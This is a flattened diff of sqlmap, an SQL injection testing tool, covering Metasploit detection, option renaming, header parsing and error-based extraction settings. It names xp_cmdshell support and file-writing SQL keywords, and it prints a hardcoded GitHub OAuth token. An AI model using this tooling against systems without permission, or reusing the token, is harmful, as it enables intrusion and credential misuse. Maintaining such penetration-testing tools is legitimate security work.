FIREBIRD_PRIVS = { FIREBIRD_PRIVS = {
"S": "SELECT", "S": "SELECT",
"I": "INSERT", "I": "INSERT",
"U": "UPDATE", "U": "UPDATE",
"D": "DELETE", "D": "DELETE",
"R": "REFERENCES", "R": "REFERENCE",
"E": "EXECUTE", "E": "EXECUTE",
"X": "EXECUTE",
"A": "ALL",
"M": "MEMBER",
"T": "DECRYPT",
"E": "ENCRYPT",
"B": "SUBSCRIBE",
} }
DB2_PRIVS = { DB2_PRIVS = {

View File

@ -6,7 +6,6 @@ See the file 'doc/COPYING' for copying permission
""" """
import cgi import cgi
import codecs
import hashlib import hashlib
import os import os
import re import re
@ -22,7 +21,6 @@ from lib.core.common import normalizeUnicode
from lib.core.common import openFile from lib.core.common import openFile
from lib.core.common import prioritySortColumns from lib.core.common import prioritySortColumns
from lib.core.common import randomInt from lib.core.common import randomInt
from lib.core.common import randomStr
from lib.core.common import safeCSValue from lib.core.common import safeCSValue
from lib.core.common import unicodeencode from lib.core.common import unicodeencode
from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.common import unsafeSQLIdentificatorNaming
@ -76,7 +74,7 @@ class Dump(object):
try: try:
self._outputFP.write(text) self._outputFP.write(text)
except IOError, ex: except IOError, ex:
errMsg = "error occurred while writing to log file ('%s')" % ex errMsg = "error occurred while writing to log file ('%s')" % ex.message
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
if kb.get("multiThreadMode"): if kb.get("multiThreadMode"):
@ -96,7 +94,7 @@ class Dump(object):
try: try:
self._outputFP = openFile(self._outputFile, "ab" if not conf.flushSession else "wb") self._outputFP = openFile(self._outputFile, "ab" if not conf.flushSession else "wb")
except IOError, ex: except IOError, ex:
errMsg = "error occurred while opening log file ('%s')" % ex errMsg = "error occurred while opening log file ('%s')" % ex.message
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
def getOutputFile(self): def getOutputFile(self):

View File

@ -197,6 +197,7 @@ class HASHDB_KEYS:
KB_CHARS = "KB_CHARS" KB_CHARS = "KB_CHARS"
KB_DYNAMIC_MARKINGS = "KB_DYNAMIC_MARKINGS" KB_DYNAMIC_MARKINGS = "KB_DYNAMIC_MARKINGS"
KB_INJECTIONS = "KB_INJECTIONS" KB_INJECTIONS = "KB_INJECTIONS"
KB_ERROR_CHUNK_LENGTH = "KB_ERROR_CHUNK_LENGTH"
KB_XP_CMDSHELL_AVAILABLE = "KB_XP_CMDSHELL_AVAILABLE" KB_XP_CMDSHELL_AVAILABLE = "KB_XP_CMDSHELL_AVAILABLE"
OS = "OS" OS = "OS"

View File

@ -9,6 +9,7 @@ import cookielib
import glob import glob
import inspect import inspect
import logging import logging
import httplib
import os import os
import random import random
import re import re
@ -53,7 +54,6 @@ from lib.core.common import readInput
from lib.core.common import resetCookieJar from lib.core.common import resetCookieJar
from lib.core.common import runningAsAdmin from lib.core.common import runningAsAdmin
from lib.core.common import safeExpandUser from lib.core.common import safeExpandUser
from lib.core.common import sanitizeStr
from lib.core.common import setOptimize from lib.core.common import setOptimize
from lib.core.common import setPaths from lib.core.common import setPaths
from lib.core.common import singleTimeWarnMessage from lib.core.common import singleTimeWarnMessage
@ -107,6 +107,7 @@ from lib.core.settings import DEFAULT_PAGE_ENCODING
from lib.core.settings import DEFAULT_TOR_HTTP_PORTS from lib.core.settings import DEFAULT_TOR_HTTP_PORTS
from lib.core.settings import DEFAULT_TOR_SOCKS_PORT from lib.core.settings import DEFAULT_TOR_SOCKS_PORT
from lib.core.settings import DUMMY_URL from lib.core.settings import DUMMY_URL
from lib.core.settings import IGNORE_SAVE_OPTIONS
from lib.core.settings import INJECT_HERE_MARK from lib.core.settings import INJECT_HERE_MARK
from lib.core.settings import IS_WIN from lib.core.settings import IS_WIN
from lib.core.settings import KB_CHARS_BOUNDARY_CHAR from lib.core.settings import KB_CHARS_BOUNDARY_CHAR
@ -289,7 +290,7 @@ def _feedTargetsDict(reqFile, addedTargetUrls):
line = line.strip('\r') line = line.strip('\r')
match = re.search(r"\A(%s) (.+) HTTP/[\d.]+\Z" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), line) if not method else None match = re.search(r"\A(%s) (.+) HTTP/[\d.]+\Z" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), line) if not method else None
if len(line) == 0 and method and method != HTTPMETHOD.GET and data is None: if len(line.strip()) == 0 and method and method != HTTPMETHOD.GET and data is None:
data = "" data = ""
params = True params = True
@ -311,8 +312,9 @@ def _feedTargetsDict(reqFile, addedTargetUrls):
params = True params = True
# Headers # Headers
elif re.search(r"\A\S+: ", line): elif re.search(r"\A\S+:", line):
key, value = line.split(": ", 1) key, value = line.split(":", 1)
value = value.strip().replace("\r", "").replace("\n", "")
# Cookie and Host headers # Cookie and Host headers
if key.upper() == HTTP_HEADER.COOKIE.upper(): if key.upper() == HTTP_HEADER.COOKIE.upper():
@ -766,8 +768,14 @@ def _setMetasploit():
if conf.msfPath: if conf.msfPath:
for path in (conf.msfPath, os.path.join(conf.msfPath, "bin")): for path in (conf.msfPath, os.path.join(conf.msfPath, "bin")):
if all(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("", "msfcli", "msfconsole", "msfencode", "msfpayload")): if any(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("msfcli", "msfconsole")):
msfEnvPathExists = True msfEnvPathExists = True
if all(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("msfvenom",)):
kb.oldMsf = False
elif all(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("msfencode", "msfpayload")):
kb.oldMsf = True
else:
msfEnvPathExists = False
conf.msfPath = path conf.msfPath = path
break break
@ -798,12 +806,20 @@ def _setMetasploit():
for envPath in envPaths: for envPath in envPaths:
envPath = envPath.replace(";", "") envPath = envPath.replace(";", "")
if all(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("", "msfcli", "msfconsole", "msfencode", "msfpayload")): if all(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("", "msfcli", "msfconsole")):
msfEnvPathExists = True
if all(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("msfvenom",)):
kb.oldMsf = False
elif all(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("msfencode", "msfpayload")):
kb.oldMsf = True
else:
msfEnvPathExists = False
if msfEnvPathExists:
infoMsg = "Metasploit Framework has been found " infoMsg = "Metasploit Framework has been found "
infoMsg += "installed in the '%s' path" % envPath infoMsg += "installed in the '%s' path" % envPath
logger.info(infoMsg) logger.info(infoMsg)
msfEnvPathExists = True
conf.msfPath = envPath conf.msfPath = envPath
break break
@ -1325,6 +1341,9 @@ def _setHTTPExtraHeaders():
conf.headers = conf.headers.split("\n") if "\n" in conf.headers else conf.headers.split("\\n") conf.headers = conf.headers.split("\n") if "\n" in conf.headers else conf.headers.split("\\n")
for headerValue in conf.headers: for headerValue in conf.headers:
if not headerValue.strip():
continue
if headerValue.count(':') >= 1: if headerValue.count(':') >= 1:
header, value = (_.lstrip() for _ in headerValue.split(":", 1)) header, value = (_.lstrip() for _ in headerValue.split(":", 1))
@ -1504,7 +1523,7 @@ def _createTemporaryDirectory():
os.makedirs(tempfile.gettempdir()) os.makedirs(tempfile.gettempdir())
except IOError, ex: except IOError, ex:
errMsg = "there has been a problem while accessing " errMsg = "there has been a problem while accessing "
errMsg += "system's temporary directory location(s) ('%s'). Please " % ex errMsg += "system's temporary directory location(s) ('%s'). Please " % ex.message
errMsg += "make sure that there is enough disk space left. If problem persists, " errMsg += "make sure that there is enough disk space left. If problem persists, "
errMsg += "try to set environment variable 'TEMP' to a location " errMsg += "try to set environment variable 'TEMP' to a location "
errMsg += "writeable by the current user" errMsg += "writeable by the current user"
@ -1562,6 +1581,9 @@ def _cleanupOptions():
else: else:
conf.skip = [] conf.skip = []
if conf.cookie:
conf.cookie = re.sub(r"[\r\n]", "", conf.cookie)
if conf.delay: if conf.delay:
conf.delay = float(conf.delay) conf.delay = float(conf.delay)
@ -1669,6 +1691,13 @@ def _cleanupOptions():
threadData = getCurrentThreadData() threadData = getCurrentThreadData()
threadData.reset() threadData.reset()
def _dirtyPatches():
"""
Place for "dirty" Python related patches
"""
httplib._MAXLINE = 1 * 1024 * 1024 # to accept overly long result lines (e.g. SQLi results in HTTP header responses)
def _purgeOutput(): def _purgeOutput():
""" """
Safely removes (purges) output directory. Safely removes (purges) output directory.
@ -1766,11 +1795,14 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.endDetection = False kb.endDetection = False
kb.explicitSettings = set() kb.explicitSettings = set()
kb.extendTests = None kb.extendTests = None
kb.errorChunkLength = None
kb.errorIsNone = True kb.errorIsNone = True
kb.fileReadMode = False kb.fileReadMode = False
kb.followSitemapRecursion = None kb.followSitemapRecursion = None
kb.forcedDbms = None kb.forcedDbms = None
kb.forcePartialUnion = False kb.forcePartialUnion = False
kb.forceWhere = None
kb.futileUnion = None
kb.headersFp = {} kb.headersFp = {}
kb.heuristicDbms = None kb.heuristicDbms = None
kb.heuristicMode = False kb.heuristicMode = False
@ -1797,9 +1829,11 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.multiThreadMode = False kb.multiThreadMode = False
kb.negativeLogic = False kb.negativeLogic = False
kb.nullConnection = None kb.nullConnection = None
kb.oldMsf = None
kb.orderByColumns = None kb.orderByColumns = None
kb.originalCode = None kb.originalCode = None
kb.originalPage = None kb.originalPage = None
kb.originalPageTime = None
kb.originalTimeDelay = None kb.originalTimeDelay = None
kb.originalUrls = dict() kb.originalUrls = dict()
@ -1845,6 +1879,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.technique = None kb.technique = None
kb.tempDir = None kb.tempDir = None
kb.testMode = False kb.testMode = False
kb.testOnlyCustom = False
kb.testQueryCount = 0 kb.testQueryCount = 0
kb.testType = None kb.testType = None
kb.threadContinue = True kb.threadContinue = True
@ -1934,16 +1969,16 @@ def _useWizardInterface():
dataToStdout("\nsqlmap is running, please wait..\n\n") dataToStdout("\nsqlmap is running, please wait..\n\n")
def _saveCmdline(): def _saveConfig():
""" """
Saves the command line options on a sqlmap configuration INI file Saves the command line options to a sqlmap configuration INI file
Format. Format.
""" """
if not conf.saveCmdline: if not conf.saveConfig:
return return
debugMsg = "saving command line options on a sqlmap configuration INI file" debugMsg = "saving command line options to a sqlmap configuration INI file"
logger.debug(debugMsg) logger.debug(debugMsg)
config = UnicodeRawConfigParser() config = UnicodeRawConfigParser()
@ -1966,6 +2001,9 @@ def _saveCmdline():
if datatype and isListLike(datatype): if datatype and isListLike(datatype):
datatype = datatype[0] datatype = datatype[0]
if option in IGNORE_SAVE_OPTIONS:
continue
if value is None: if value is None:
if datatype == OPTION_TYPE.BOOLEAN: if datatype == OPTION_TYPE.BOOLEAN:
value = "False" value = "False"
@ -1982,16 +2020,16 @@ def _saveCmdline():
config.set(family, option, value) config.set(family, option, value)
confFP = openFile(paths.SQLMAP_CONFIG, "wb") confFP = openFile(conf.saveConfig, "wb")
try: try:
config.write(confFP) config.write(confFP)
except IOError, ex: except IOError, ex:
errMsg = "something went wrong while trying " errMsg = "something went wrong while trying "
errMsg += "to write to the configuration INI file '%s' ('%s')" % (paths.SQLMAP_CONFIG, ex) errMsg += "to write to the configuration file '%s' ('%s')" % (conf.saveConfig, ex)
raise SqlmapSystemException(errMsg) raise SqlmapSystemException(errMsg)
infoMsg = "saved command line options on '%s' configuration file" % paths.SQLMAP_CONFIG infoMsg = "saved command line options to the configuration file '%s'" % conf.saveConfig
logger.info(infoMsg) logger.info(infoMsg)
def setVerbosity(): def setVerbosity():
@ -2029,7 +2067,12 @@ def _mergeOptions(inputOptions, overrideOptions):
""" """
if inputOptions.pickledOptions: if inputOptions.pickledOptions:
try:
inputOptions = base64unpickle(inputOptions.pickledOptions) inputOptions = base64unpickle(inputOptions.pickledOptions)
except Exception, ex:
errMsg = "provided invalid value '%s' for option '--pickled-options'" % inputOptions.pickledOptions
errMsg += " ('%s')" % ex.message if ex.message else ""
raise SqlmapSyntaxException(errMsg)
if inputOptions.configFile: if inputOptions.configFile:
configFileParser(inputOptions.configFile) configFileParser(inputOptions.configFile)
@ -2446,9 +2489,10 @@ def init():
_useWizardInterface() _useWizardInterface()
setVerbosity() setVerbosity()
_saveCmdline() _saveConfig()
_setRequestFromFile() _setRequestFromFile()
_cleanupOptions() _cleanupOptions()
_dirtyPatches()
_purgeOutput() _purgeOutput()
_checkDependencies() _checkDependencies()
_createTemporaryDirectory() _createTemporaryDirectory()

View File

@ -202,14 +202,13 @@ optDict = {
"outputDir": "string", "outputDir": "string",
"parseErrors": "boolean", "parseErrors": "boolean",
"pivotColumn": "string", "pivotColumn": "string",
"saveCmdline": "boolean", "saveConfig": "string",
"scope": "string", "scope": "string",
"testFilter": "string", "testFilter": "string",
"updateAll": "boolean", "updateAll": "boolean",
}, },
"Miscellaneous": { "Miscellaneous": {
"mnemonics": "string",
"alert": "string", "alert": "string",
"answers": "string", "answers": "string",
"beep": "boolean", "beep": "boolean",
@ -218,6 +217,7 @@ optDict = {
"disableColoring": "boolean", "disableColoring": "boolean",
"googlePage": "integer", "googlePage": "integer",
"mobile": "boolean", "mobile": "boolean",
"offline": "boolean",
"pageRank": "boolean", "pageRank": "boolean",
"purgeOutput": "boolean", "purgeOutput": "boolean",
"smart": "boolean", "smart": "boolean",

View File

@ -70,7 +70,7 @@ class Replication(object):
try: try:
self.parent.cursor.execute(sql, parameters) self.parent.cursor.execute(sql, parameters)
except sqlite3.OperationalError, ex: except sqlite3.OperationalError, ex:
errMsg = "problem occurred ('%s') while accessing sqlite database " % ex errMsg = "problem occurred ('%s') while accessing sqlite database " % unicode(ex)
errMsg += "located at '%s'. Please make sure that " % self.parent.dbpath errMsg += "located at '%s'. Please make sure that " % self.parent.dbpath
errMsg += "it's not used by some other program" errMsg += "it's not used by some other program"
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)

View File

@ -6,7 +6,6 @@ See the file 'doc/COPYING' for copying permission
""" """
import os import os
import random
import re import re
import subprocess import subprocess
import string import string
@ -324,11 +323,11 @@ CUSTOM_INJECTION_MARK_CHAR = '*'
# Other way to declare injection position # Other way to declare injection position
INJECT_HERE_MARK = '%INJECT HERE%' INJECT_HERE_MARK = '%INJECT HERE%'
# Maximum length used for retrieving data over MySQL error based payload due to "known" problems with longer result strings # Minimum chunk length used for retrieving data over error based payloads
MYSQL_ERROR_CHUNK_LENGTH = 50 MIN_ERROR_CHUNK_LENGTH = 8
# Maximum length used for retrieving data over MSSQL error based payload due to trimming problems with longer result strings # Maximum chunk length used for retrieving data over error based payloads
MSSQL_ERROR_CHUNK_LENGTH = 100 MAX_ERROR_CHUNK_LENGTH = 1024
# Do not escape the injected statement if it contains any of the following SQL keywords # Do not escape the injected statement if it contains any of the following SQL keywords
EXCLUDE_UNESCAPE = ("WAITFOR DELAY ", " INTO DUMPFILE ", " INTO OUTFILE ", "CREATE ", "BULK ", "EXEC ", "RECONFIGURE ", "DECLARE ", "'%s'" % CHAR_INFERENCE_MARK) EXCLUDE_UNESCAPE = ("WAITFOR DELAY ", " INTO DUMPFILE ", " INTO OUTFILE ", "CREATE ", "BULK ", "EXEC ", "RECONFIGURE ", "DECLARE ", "'%s'" % CHAR_INFERENCE_MARK)
@ -387,6 +386,9 @@ CODECS_LIST_PAGE = "http://docs.python.org/library/codecs.html#standard-encoding
# Simple regular expression used to distinguish scalar from multiple-row commands (not sole condition) # Simple regular expression used to distinguish scalar from multiple-row commands (not sole condition)
SQL_SCALAR_REGEX = r"\A(SELECT(?!\s+DISTINCT\(?))?\s*\w*\(" SQL_SCALAR_REGEX = r"\A(SELECT(?!\s+DISTINCT\(?))?\s*\w*\("
# Option/switch values to ignore during configuration save
IGNORE_SAVE_OPTIONS = ("saveConfig",)
# IP address of the localhost # IP address of the localhost
LOCALHOST = "127.0.0.1" LOCALHOST = "127.0.0.1"
@ -484,7 +486,7 @@ DEFAULT_COOKIE_DELIMITER = ';'
FORCE_COOKIE_EXPIRATION_TIME = "9999999999" FORCE_COOKIE_EXPIRATION_TIME = "9999999999"
# Github OAuth token used for creating an automatic Issue for unhandled exceptions # Github OAuth token used for creating an automatic Issue for unhandled exceptions
GITHUB_REPORT_OAUTH_TOKEN = "f05e68171afd41a445b1fff80f369fae88b37968" GITHUB_REPORT_OAUTH_TOKEN = "YzQzM2M2YzgzMDExN2I5ZDMyYjAzNTIzODIwZDA2MDFmMmVjODI1Ng=="
# Skip unforced HashDB flush requests below the threshold number of cached items # Skip unforced HashDB flush requests below the threshold number of cached items
HASHDB_FLUSH_THRESHOLD = 32 HASHDB_FLUSH_THRESHOLD = 32
@ -612,6 +614,9 @@ MIN_ENCODED_LEN_CHECK = 5
# Timeout in seconds in which Metasploit remote session has to be initialized # Timeout in seconds in which Metasploit remote session has to be initialized
METASPLOIT_SESSION_TIMEOUT = 300 METASPLOIT_SESSION_TIMEOUT = 300
# Reference: http://www.postgresql.org/docs/9.0/static/catalog-pg-largeobject.html
LOBLKSIZE = 2048
# Suffix used to mark variables having keyword names # Suffix used to mark variables having keyword names
EVALCODE_KEYWORD_SUFFIX = "_KEYWORD" EVALCODE_KEYWORD_SUFFIX = "_KEYWORD"

View File

@ -10,7 +10,6 @@ import os
import rlcompleter import rlcompleter
from lib.core import readlineng as readline from lib.core import readlineng as readline
from lib.core.common import Backend
from lib.core.data import logger from lib.core.data import logger
from lib.core.data import paths from lib.core.data import paths
from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.enums import AUTOCOMPLETE_TYPE
@ -43,7 +42,7 @@ def saveHistory(completion=None):
historyPath = paths.SQLMAP_SHELL_HISTORY historyPath = paths.SQLMAP_SHELL_HISTORY
try: try:
with open(historyPath, "w+") as f: with open(historyPath, "w+"):
pass pass
except: except:
pass pass

View File

@ -123,11 +123,8 @@ def _setRequestParams():
else: else:
kb.processUserMarks = not test or test[0] not in ("n", "N") kb.processUserMarks = not test or test[0] not in ("n", "N")
if kb.processUserMarks and "=%s" % CUSTOM_INJECTION_MARK_CHAR in conf.data: if kb.processUserMarks:
warnMsg = "it seems that you've provided empty parameter value(s) " kb.testOnlyCustom = True
warnMsg += "for testing. Please, always use only valid parameter values "
warnMsg += "so sqlmap could be able to run properly"
logger.warn(warnMsg)
if not (kb.processUserMarks and CUSTOM_INJECTION_MARK_CHAR in conf.data): if not (kb.processUserMarks and CUSTOM_INJECTION_MARK_CHAR in conf.data):
if re.search(JSON_RECOGNITION_REGEX, conf.data): if re.search(JSON_RECOGNITION_REGEX, conf.data):
@ -137,6 +134,7 @@ def _setRequestParams():
if test and test[0] in ("q", "Q"): if test and test[0] in ("q", "Q"):
raise SqlmapUserQuitException raise SqlmapUserQuitException
elif test[0] not in ("n", "N"): elif test[0] not in ("n", "N"):
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER) conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER)
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*"[^"]+)"', functools.partial(process, repl=r'\g<1>%s"' % CUSTOM_INJECTION_MARK_CHAR), conf.data) conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*"[^"]+)"', functools.partial(process, repl=r'\g<1>%s"' % CUSTOM_INJECTION_MARK_CHAR), conf.data)
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)(-?\d[\d\.]*\b)', functools.partial(process, repl=r'\g<0>%s' % CUSTOM_INJECTION_MARK_CHAR), conf.data) conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)(-?\d[\d\.]*\b)', functools.partial(process, repl=r'\g<0>%s' % CUSTOM_INJECTION_MARK_CHAR), conf.data)
@ -155,6 +153,7 @@ def _setRequestParams():
if test and test[0] in ("q", "Q"): if test and test[0] in ("q", "Q"):
raise SqlmapUserQuitException raise SqlmapUserQuitException
elif test[0] not in ("n", "N"): elif test[0] not in ("n", "N"):
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER) conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER)
conf.data = re.sub(r"('(?P<name>[^']+)'\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % CUSTOM_INJECTION_MARK_CHAR), conf.data) conf.data = re.sub(r"('(?P<name>[^']+)'\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % CUSTOM_INJECTION_MARK_CHAR), conf.data)
conf.data = re.sub(r"('(?P<name>[^']+)'\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % CUSTOM_INJECTION_MARK_CHAR), conf.data) conf.data = re.sub(r"('(?P<name>[^']+)'\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % CUSTOM_INJECTION_MARK_CHAR), conf.data)
@ -178,6 +177,7 @@ def _setRequestParams():
if test and test[0] in ("q", "Q"): if test and test[0] in ("q", "Q"):
raise SqlmapUserQuitException raise SqlmapUserQuitException
elif test[0] not in ("n", "N"): elif test[0] not in ("n", "N"):
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER) conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER)
conf.data = re.sub(r"(<(?P<name>[^>]+)( [^<]*)?>)([^<]+)(</\2)", functools.partial(process, repl=r"\g<1>\g<4>%s\g<5>" % CUSTOM_INJECTION_MARK_CHAR), conf.data) conf.data = re.sub(r"(<(?P<name>[^>]+)( [^<]*)?>)([^<]+)(</\2)", functools.partial(process, repl=r"\g<1>\g<4>%s\g<5>" % CUSTOM_INJECTION_MARK_CHAR), conf.data)
kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML
@ -189,6 +189,7 @@ def _setRequestParams():
if test and test[0] in ("q", "Q"): if test and test[0] in ("q", "Q"):
raise SqlmapUserQuitException raise SqlmapUserQuitException
elif test[0] not in ("n", "N"): elif test[0] not in ("n", "N"):
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER) conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER)
conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"'](?P<name>[^\n]+?)[\"']).+?)(((\r)?\n)+--)", functools.partial(process, repl=r"\g<1>%s\g<4>" % CUSTOM_INJECTION_MARK_CHAR), conf.data) conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"'](?P<name>[^\n]+?)[\"']).+?)(((\r)?\n)+--)", functools.partial(process, repl=r"\g<1>%s\g<4>" % CUSTOM_INJECTION_MARK_CHAR), conf.data)
kb.postHint = POST_HINT.MULTIPART kb.postHint = POST_HINT.MULTIPART
@ -241,7 +242,10 @@ def _setRequestParams():
else: else:
kb.processUserMarks = not test or test[0] not in ("n", "N") kb.processUserMarks = not test or test[0] not in ("n", "N")
if kb.processUserMarks and "=%s" % CUSTOM_INJECTION_MARK_CHAR in _: if kb.processUserMarks:
kb.testOnlyCustom = True
if "=%s" % CUSTOM_INJECTION_MARK_CHAR in _:
warnMsg = "it seems that you've provided empty parameter value(s) " warnMsg = "it seems that you've provided empty parameter value(s) "
warnMsg += "for testing. Please, always use only valid parameter values " warnMsg += "for testing. Please, always use only valid parameter values "
warnMsg += "so sqlmap could be able to run properly" warnMsg += "so sqlmap could be able to run properly"
@ -399,12 +403,18 @@ def _resumeHashDBValues():
""" """
kb.absFilePaths = hashDBRetrieve(HASHDB_KEYS.KB_ABS_FILE_PATHS, True) or kb.absFilePaths kb.absFilePaths = hashDBRetrieve(HASHDB_KEYS.KB_ABS_FILE_PATHS, True) or kb.absFilePaths
kb.chars = hashDBRetrieve(HASHDB_KEYS.KB_CHARS, True) or kb.chars
kb.dynamicMarkings = hashDBRetrieve(HASHDB_KEYS.KB_DYNAMIC_MARKINGS, True) or kb.dynamicMarkings
kb.brute.tables = hashDBRetrieve(HASHDB_KEYS.KB_BRUTE_TABLES, True) or kb.brute.tables kb.brute.tables = hashDBRetrieve(HASHDB_KEYS.KB_BRUTE_TABLES, True) or kb.brute.tables
kb.brute.columns = hashDBRetrieve(HASHDB_KEYS.KB_BRUTE_COLUMNS, True) or kb.brute.columns kb.brute.columns = hashDBRetrieve(HASHDB_KEYS.KB_BRUTE_COLUMNS, True) or kb.brute.columns
kb.chars = hashDBRetrieve(HASHDB_KEYS.KB_CHARS, True) or kb.chars
kb.dynamicMarkings = hashDBRetrieve(HASHDB_KEYS.KB_DYNAMIC_MARKINGS, True) or kb.dynamicMarkings
kb.xpCmdshellAvailable = hashDBRetrieve(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE) or kb.xpCmdshellAvailable kb.xpCmdshellAvailable = hashDBRetrieve(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE) or kb.xpCmdshellAvailable
kb.errorChunkLength = hashDBRetrieve(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH)
if kb.errorChunkLength and kb.errorChunkLength.isdigit():
kb.errorChunkLength = int(kb.errorChunkLength)
else:
kb.errorChunkLength = None
conf.tmpPath = conf.tmpPath or hashDBRetrieve(HASHDB_KEYS.CONF_TMP_PATH) conf.tmpPath = conf.tmpPath or hashDBRetrieve(HASHDB_KEYS.CONF_TMP_PATH)
for injection in hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or []: for injection in hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or []:
@ -604,7 +614,7 @@ def _createTargetDirs():
warnMsg = "unable to create regular output directory " warnMsg = "unable to create regular output directory "
warnMsg += "'%s' (%s). " % (paths.SQLMAP_OUTPUT_PATH, getUnicode(ex)) warnMsg += "'%s' (%s). " % (paths.SQLMAP_OUTPUT_PATH, getUnicode(ex))
warnMsg += "Using temporary directory '%s' instead" % tempDir warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
logger.warn(warnMsg) logger.warn(warnMsg)
paths.SQLMAP_OUTPUT_PATH = tempDir paths.SQLMAP_OUTPUT_PATH = tempDir
@ -626,7 +636,7 @@ def _createTargetDirs():
warnMsg = "unable to create output directory " warnMsg = "unable to create output directory "
warnMsg += "'%s' (%s). " % (conf.outputPath, getUnicode(ex)) warnMsg += "'%s' (%s). " % (conf.outputPath, getUnicode(ex))
warnMsg += "Using temporary directory '%s' instead" % tempDir warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
logger.warn(warnMsg) logger.warn(warnMsg)
conf.outputPath = tempDir conf.outputPath = tempDir
@ -683,10 +693,13 @@ def initTargetEnv():
class _(unicode): class _(unicode):
pass pass
kb.postUrlEncode = True
for key, value in conf.httpHeaders: for key, value in conf.httpHeaders:
if key.upper() == HTTP_HEADER.CONTENT_TYPE.upper(): if key.upper() == HTTP_HEADER.CONTENT_TYPE.upper():
kb.postUrlEncode = "urlencoded" in value kb.postUrlEncode = "urlencoded" in value
break break
if kb.postUrlEncode: if kb.postUrlEncode:
original = conf.data original = conf.data
conf.data = _(urldecode(conf.data)) conf.data = _(urldecode(conf.data))

View File

@ -47,6 +47,7 @@ class _ThreadData(threading.local):
self.lastHTTPError = None self.lastHTTPError = None
self.lastRedirectMsg = None self.lastRedirectMsg = None
self.lastQueryDuration = 0 self.lastQueryDuration = 0
self.lastPage = None
self.lastRequestMsg = None self.lastRequestMsg = None
self.lastRequestUID = 0 self.lastRequestUID = 0
self.lastRedirectURL = None self.lastRedirectURL = None

View File

@ -41,7 +41,13 @@ class Wordlist(object):
else: else:
self.current = self.filenames[self.index] self.current = self.filenames[self.index]
if os.path.splitext(self.current)[1].lower() == ".zip": if os.path.splitext(self.current)[1].lower() == ".zip":
try:
_ = zipfile.ZipFile(self.current, 'r') _ = zipfile.ZipFile(self.current, 'r')
except zipfile.error, ex:
errMsg = "something seems to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (self.current, ex)
errMsg += "sure that you haven't made any changes to it"
raise SqlmapInstallationException, errMsg
if len(_.namelist()) == 0: if len(_.namelist()) == 0:
errMsg = "no file(s) inside '%s'" % self.current errMsg = "no file(s) inside '%s'" % self.current
raise SqlmapDataException(errMsg) raise SqlmapDataException(errMsg)

View File

@ -127,6 +127,9 @@ def cmdLineParser():
request.add_option("--referer", dest="referer", request.add_option("--referer", dest="referer",
help="HTTP Referer header value") help="HTTP Referer header value")
request.add_option("-H", "--header", dest="header",
help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")")
request.add_option("--headers", dest="headers", request.add_option("--headers", dest="headers",
help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")") help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")")
@ -659,8 +662,7 @@ def cmdLineParser():
general.add_option("--pivot-column", dest="pivotColumn", general.add_option("--pivot-column", dest="pivotColumn",
help="Pivot column name") help="Pivot column name")
general.add_option("--save", dest="saveCmdline", general.add_option("--save", dest="saveConfig",
action="store_true",
help="Save options to a configuration INI file") help="Save options to a configuration INI file")
general.add_option("--scope", dest="scope", general.add_option("--scope", dest="scope",
@ -686,7 +688,7 @@ def cmdLineParser():
